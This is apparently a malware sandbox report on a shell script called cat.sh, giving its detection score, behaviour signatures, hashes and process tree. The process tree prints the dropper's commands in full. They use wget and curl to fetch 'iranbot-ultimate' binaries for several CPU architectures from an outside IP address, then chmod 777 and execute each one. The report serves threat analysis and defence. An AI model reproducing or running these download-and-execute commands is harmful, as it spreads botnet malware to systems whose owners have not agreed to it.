Overview

overview

7

Static

static

1

cat.sh

ubuntu-18.04-amd64

7

cat.sh

debian-9-armhf

7

cat.sh

debian-9-mips

7

cat.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    5s
  • max time network
    6s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    27/10/2026, 06:14

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General

  • Target
    cat.sh
  • Size 2KB
  • Sample261027-gzedvsaz4z
  • SHA256 a6059a4611f3bbf4ba24995058a9ebf475b541aba4e04e4d10c82d8de664bd19
  • MD5 SHA1 SHA512 TLSH
Score
7/10
antivmdefense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 12 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 8 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/cat.sh
    /tmp/cat.sh
    1⤵
    • Executes dropped EXE
    PID:656
    • /usr/bin/wget
      wget http://36.255.97.170/iranbot-ultimate.x86_64 -O iranbot-ultimate.x86_64
      2⤵
      • Writes file to tmp directory
      PID:657
    • /usr/bin/curl
      curl http://36.255.97.170/iranbot-ultimate.x86_64 -o iranbot-ultimate.x86_64
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:679
    • /bin/chmod
      chmod 777 iranbot-ultimate.x86_64
      2⤵
      • File and Directory Permissions Modification
      PID:685
    • /tmp/iranbot-ultimate.x86_64
      ./iranbot-ultimate.x86_64
      2⤵
        PID:686
      • /bin/sh
        /bin/sh ./iranbot-ultimate.x86_64
        2⤵
          PID:686
        • /usr/bin/wget
          wget http://36.255.97.170/iranbot-ultimate.aarch64 -O iranbot-ultimate.aarch64
          2⤵
          • Writes file to tmp directory
          PID:687
        • /usr/bin/curl
          curl http://36.255.97.170/iranbot-ultimate.aarch64 -o iranbot-ultimate.aarch64
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:688
        • /bin/chmod
          chmod 777 iranbot-ultimate.aarch64
          2⤵
          • File and Directory Permissions Modification
          PID:734
        • /tmp/iranbot-ultimate.aarch64
          ./iranbot-ultimate.aarch64
          2⤵
            PID:735
          • /bin/sh
            /bin/sh ./iranbot-ultimate.aarch64
            2⤵
              PID:735
            • /usr/bin/wget
              wget http://36.255.97.170/iranbot-ultimate.mips -O iranbot-ultimate.mips
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:736
            • /usr/bin/curl
              curl http://36.255.97.170/iranbot-ultimate.mips -o iranbot-ultimate.mips
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:737
            • /bin/chmod
              chmod 777 iranbot-ultimate.mips
              2⤵
              • File and Directory Permissions Modification
              PID:738
            • /tmp/iranbot-ultimate.mips
              ./iranbot-ultimate.mips
              2⤵
              • System Network Configuration Discovery
              PID:739
            • /bin/sh
              /bin/sh ./iranbot-ultimate.mips
              2⤵
              • System Network Configuration Discovery
              PID:739
            • /usr/bin/wget
              wget http://36.255.97.170/iranbot-ultimate.mipsel -O iranbot-ultimate.mipsel
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:740
            • /usr/bin/curl
              curl http://36.255.97.170/iranbot-ultimate.mipsel -o iranbot-ultimate.mipsel
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:749
            • /bin/chmod
              chmod 777 iranbot-ultimate.mipsel
              2⤵
              • File and Directory Permissions Modification
              PID:762
            • /tmp/iranbot-ultimate.mipsel
              ./iranbot-ultimate.mipsel
              2⤵
              • System Network Configuration Discovery
              PID:763
            • /bin/sh
              /bin/sh ./iranbot-ultimate.mipsel
              2⤵
              • System Network Configuration Discovery
              PID:763
            • /usr/bin/wget
              wget http://36.255.97.170/iranbot-ultimate.x86_32 -O iranbot-ultimate.x86_32
              2⤵
              • Writes file to tmp directory
              PID:765
            • /usr/bin/curl
              curl http://36.255.97.170/iranbot-ultimate.x86_32 -o iranbot-ultimate.x86_32
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:775
            • /bin/chmod
              chmod 777 iranbot-ultimate.x86_32
              2⤵
              • File and Directory Permissions Modification
              PID:776
            • /tmp/iranbot-ultimate.x86_32
              ./iranbot-ultimate.x86_32
              2⤵
                PID:777
              • /bin/sh
                /bin/sh ./iranbot-ultimate.x86_32
                2⤵
                  PID:777
                • /usr/bin/wget
                  wget http://36.255.97.170/iranbot-ultimate.armv4l -O iranbot-ultimate.armv4l
                  2⤵
                  • Writes file to tmp directory
                  PID:778
                • /usr/bin/curl
                  curl http://36.255.97.170/iranbot-ultimate.armv4l -o iranbot-ultimate.armv4l
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:779
                • /bin/chmod
                  chmod 777 iranbot-ultimate.armv4l
                  2⤵
                  • File and Directory Permissions Modification
                  PID:780
                • /tmp/iranbot-ultimate.armv4l
                  ./iranbot-ultimate.armv4l
                  2⤵
                    PID:781
                  • /bin/sh
                    /bin/sh ./iranbot-ultimate.armv4l
                    2⤵
                      PID:781

                  Network

                        MITRE ATT&CK Enterprise v16

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                        Downloads

                        iranbot-ultimate.x86_64
                        • Path /tmp/iranbot-ultimate.x86_64
                        • Size 275B
                        • SHA256 595f4253b187ccaac7c04a5884b0ce0a69093e3d7bbaf10c2c9ded20dc968322
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download